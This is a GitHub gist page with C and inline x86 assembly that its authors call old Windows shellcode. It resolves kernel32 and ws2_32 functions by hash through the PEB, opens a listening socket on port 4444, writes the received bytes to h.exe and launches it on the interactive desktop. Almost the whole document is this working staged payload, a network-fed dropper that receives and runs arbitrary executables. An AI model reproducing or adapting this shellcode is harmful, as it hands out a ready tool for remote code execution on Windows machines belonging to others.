Skip to content

Instantly share code, notes, and snippets.

@wirepair
Created January 24, 2015 05:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wirepair/0e0c8b45c468fa6bfbae to your computer and use it in GitHub Desktop.
Save wirepair/0e0c8b45c468fa6bfbae to your computer and use it in GitHub Desktop.
old ass shellcode that would spawn a demo and take over the screen.
/* UNOPTIMIZED shellcode with horrible notes that probably don't make any sense because i've effed with the */
/* code so much. I'll fix it in v2 :D */
/* -wirepair & galt */
#include <stdio.h>
#include <winsock.h>
#define my_hash(a,b) __asm _emit a __asm _emit b
#define my_winst(a,b,c,d,e,f,g,h) __asm _emit a __asm _emit b __asm _emit c __asm _emit d __asm _emit e __asm _emit f __asm _emit g __asm _emit h
#define my_app(a,b,c,d,e,f) __asm _emit a __asm _emit b __asm _emit c __asm _emit d __asm _emit e __asm _emit f
#define hashtable 0 // address of our hashes.
#define base 4 // base of kernel32 then ws2_32
#define func_string 8 // our current function string
#define func_rva 12 // rva of functions for k32/ws2
#define export 16 // export address
#define index 20 // index into hash table
#define functable 24 // where the functions for k32 are stored loadlib/createproc etc.
#define ws2functable 52 // where the functions for ws2_32 are stored socket/bind etc.
#define filehandle 72 // our file handle created by CreateFile
#define sockethand 76 // our socket handle via socket()
#define newsockhand 80 // our new socket via accept()
#define recvdata 84 // where our data is stored
#define recvdbytes 88 // &dwBytesWritten for WriteFile
// offsets for func calls (+{functable || ws2functable}+ebp)
#define loadlibrary 0 // ebp+functable+loadlibrary 28
#define createproc 4 // ebp+functable+createproc 32
#define createfile 8 // ebp+functable+createfile 36
#define writefile 12 // ebp+functable+writefile 40
#define closehandle 16 // ebp+functable+closehandle 44
#define exitthread 20 // ebp+functable+exitthread 48
#define socket 0 // ebp+ws2functable+socket
#define bind 4 // ebp+ws2functable+bind
#define listen 8 // ebp+ws2functable+listen
#define accept 12 // ebp+ws2functable+accept
#define recv 16 // ebp+ws2functable+recv
int main(int argc, char **argv) {
//Testing Only
WSADATA wsa;
WSAStartup(0x0101, &wsa);
// heh
__asm {
startup:
sub esp, 0x100 // allocate 100h bytes
mov ebp, esp // setup our base, this will be used through out the code
call fwd // call forward to get offset to data
inc ebx // ebx points to start of hashes after these two inc's.
inc ebx // move to start of hash table
mov [ebp+hashtable], ebx // save offset of hash table
find_kern32:
xor eax, eax // clear eax
mov eax, fs:[eax+0x30] // find the peb
mov eax, [eax+0x0c] // exract pointer from peb
mov esi, [eax+0x1c] // get flink
lodsd // get blink
mov ebx, [eax + 0x8] // base of kernel32
mov [ebp+base],ebx // save kernel32 base
xor ecx, ecx
mov dword ptr [ebp+index], ecx // zero out our index to hashes 0
call get_names_table // get our names table
//call resolve_address // resolve our func addresses and store them on the stack
load_ws2:
push 00003233h // push "32" (still smaller than xor eax, eax: mov ax, 3233h: push eax)
push 5f327377h // push "ws2_"
mov ebx, esp // offset of ws2_32
push ebx // push the offset
call [ebp+functable+loadlibrary]// load ws2_32
pop ecx // clear stack
pop ecx // clear stack
mov ebx, eax // base addr in ebx
mov [ebp+base],ebx // clobber k32 base with ws2_32 base
add [ebp+index], 0x02 // increment the hash/string index
//inc edi
//inc edi
call get_names_table // get the names table
/******************************************************************************/
// at this point all symbols have been resolved for kernel32.dll and ws2_32.dll!
// from here we need to do the following:
// CreateFile h.exe
// setup socket struct
// call socket
// call bind
// call listen
// setup si & pi
// call accept
// loop recv & writefile
// once all data is recv'd call CloseHandle
// call CreateProcess!
//
/******************************************************************************/
create_file:
mov edi, [ebp+index]
xor ecx, ecx
push ecx // push null template
mov dl, 0x80
push edx // push file_attrib_normal
push 0x02 // push create always
push ecx // default sec
push ecx // no share
push 0xc0000000 // read / write sucks.. wish i could make this smaller
inc edi // increment our index
inc edi // increment our index
mov edx, [ebp+hashtable] // move the hash table address into edx
add edx, edi // add it with our index so we point to h.exe
push edx // push offset to h.exe
add edi, 0x06 // move to beg of WinSta0
mov [ebp+index], edi // and store it again
call [ebp+functable+createfile] // create the bastich.
mov esi, eax // move our handle into esi
setup_sock:
push 0x00 // no flags
push 0x01 // SOCK_STREAM
push 0x02 // AF_INET
call [ebp+ws2functable+socket] // call socket
mov edi, eax // store socket in edi
setup_bind:
xor edx, edx
push edx
push edx
push edx
push 0x5c110002 // struct sockaddr_in & htons(4444)
mov ebx, esp // set ebx to struct
push 0x10 // push len of struct
push ebx // push offset to struct
push edi // push socket
call [ebp+ws2functable+bind] // call bind
setup_listen:
push 0x05 // backlog
push edi // socket handle
call [ebp+ws2functable+listen] // call listen
setup_accept:
push edx // push null
push edx // push null
push edi // push socket
call [ebp+ws2functable+accept] // call accept
mov edi, eax // new socket handle
mov [ebp+recvdbytes], 0x00 // set recv'd bytes to zero
recv_func:
push 0x00 // push no flags
push 0x04 // push len
lea ecx, [ebp+recvdata] // load the address of where we will save data
push ecx // push it
push edi // socket handle
call [ebp+ws2functable+recv] // call recv
cmp eax, -1 // are we done? is there an error?
je close_hand // if so close the handle and createproc
write_file:
push 0x00 // push null
lea ecx, [ebp+recvdbytes]
push ecx // push location of bytes
push eax
lea ecx, [ebp+recvdata] // push where we at.
push ecx
push esi // push file handle
call [ebp+functable+writefile]
jmp recv_func
close_hand:
push esi // push the file handle
call [ebp+functable+closehandle] // close the handle
setup_structs:
xor ecx, ecx // clear ecx
mov cl, 0x54 // set the size of our structs
sub esp, ecx // make room on the stack for them
mov edi, esp // set edi to the top of the stack
push edi // push it for future ref
xor eax, eax // clear eax
repe stosb // repe stosb repeats moving 0x00 on the stack
pop edi // pop back edi
mov byte ptr [edi], 0x44 // sizeof si
add edi, 0x08 // sub a few bytes away from 0x44 so we can set our si.lpDesktop
mov ebx, [ebp+index] // incremement to h.exe
add ebx, [ebp+hashtable] // offset to WinSta0\Default
mov [edi], ebx // move it into the stack
sub edi, 0x08 // sub 8 to point back to h.exe
call_create:
lea esi, [edi+0x44]
push esi // pi
push edi // si
push eax // startup dir NULL
push eax // env NULL
push eax // creation NULL
push eax // inherit NULL
push eax // thread NULL
push eax // process NULL
lea edi, [ebx-6]
push edi // h.exe ptr
push eax // module name NULL
call [ebp+functable+createproc] // run it!
exit_thread:
//push 0x00 //
call [ebp+functable+exitthread] // we are so done :D bye bye!
// get_names_table //
// in: ebx = dll base address //
get_names_table:
mov eax, [ebx + 0x3c] // pe header vma
mov edi, [ebx + eax + 0x78] // export table rva 0x7c800000 + e8 + 78 = (0x7c800160) Export Table Address (262c)
add edi, ebx // export table VMA 0x7c80262c
mov eax, [edi + 0x20] // names table relative offset = 2654
add eax, ebx // names table VMA (0x7c802654) = a634 = names table
mov [ebp+func_rva], eax // store function rva
mov [ebp+export],edi // store name table vma
mov esi, eax // esi = pointer to func_rva
xor ecx, ecx // clear ecx.
mov edi, [ebp+index] // move index into edi
// Resolve Address: //
// This function should have: //
// in: ESI = pointer to func_rva //
// out: functions stored in stack //
// regs used: ecx, esi, eax, ebx, edx //
resolve_address:
push ecx // push our counter of functions
xor ecx, ecx
lodsd // load into EAX rva of function names
add eax, [ebp+base] // add rva to base to create vma
compute_hash:
movsx ebx, byte ptr [eax] // move byte into ebx
test bl, bl // does bl = 0?
jz compute_hash_done // if so check if the hash matches our pre-computed hash
lea ecx, [ecx + ebx * 2] // shift our sum and load into ecx
xor ecx, 0x79 // xor our sum by 0x79
inc eax // increment the character in the string
jmp compute_hash
compute_hash_done:
mov ebx, edi // move our current index into ebx
add ebx, [ebp+hashtable] // add the actual address of the hash with it and store in ebx
mov dx, word ptr [ebx] // move the hash word into dx
cmp dx, cx // compare our computed hash with pre-computed hash
jz compute_hash_found // did we find it?
pop ecx // nope, pop our ecx value
inc ecx // increment our function counter
jmp resolve_address
compute_hash_found:
pop ecx // pop our ecx counter of funcs
mov esi, [ebp+base] // move base into esi
mov eax, [ebp+export] // load export table vma
mov edx, [eax+0x24] // ordinals rva
add edx, esi // vma
mov cx, [edx + 2 * ecx] // extrapolate ordinal
mov ebx, [eax + 0x1c] // relative offset
add ebx, esi // vma
mov ebx, [ebx+ 4 * ecx] // relative offset via ordinal
add ebx, esi // function vma
lea ecx, [ebp+functable] // find our base & add it
mov edx, edi // figure out which hash & func we are on
shl edx, 0x01 // multiply by 2
add ecx, edx // store it at the correct offset.
mov [ecx], ebx // and store our function
mov ebx, edi // load the index
add ebx, [ebp+hashtable] // add it to
mov dx, word ptr [ebx+2] // check if next hash is null
test dx, dx // test it for 0
jz compute_hash_fin // we're done.
inc edi // increment our hash value index
inc edi // increment our hash value index
mov esi, [ebp+func_rva] // we need to start from scratch again!
xor ecx, ecx // zero it out so we can use it to store our computed hash
jmp resolve_address
compute_hash_fin:
inc edi
inc edi
mov [ebp+index], edi // increment the hash/string index & move it back into index
ret // return to caller
fwd:
call get_data // this ret val gets popped
get_data:
pop ebx // ptr to our data table
ret
/* kernel32.dll hash table */
my_hash(0xac,0x09) // LoadLibraryA
my_hash(0xc8,0x0a) // CreateProcessA
my_hash(0x83,0x08) // CreateFileA
my_hash(0xdf,0x07) // WriteFile
my_hash(0x0d,0x09) // CloseHandle
my_hash(0x74,0x08) // ExitThread //my_emit(0x6b,0x09) // ExitProcess
my_hash(0x00,0x00) // we are at the end
/* ws2_32.dll hash table */
my_hash(0xd2,0x04) // socket
my_hash(0x0a,0x03) // bind
my_hash(0xfe,0x03) // listen
my_hash(0xe0,0x05) // accept
my_hash(0xf0,0x02) // recv
my_hash(0x00,0x00) // we are at the end
/* application name h.exe */
my_app(0x68, 0x2e, 0x65, 0x78, 0x65, 0x00) // h.exe
/* Window Station String */
my_winst(0x57, 0x69, 0x6e, 0x53, 0x74, 0x61, 0x30, 0x5c)
my_winst(0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00) // WinSta0\Default
}
return(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment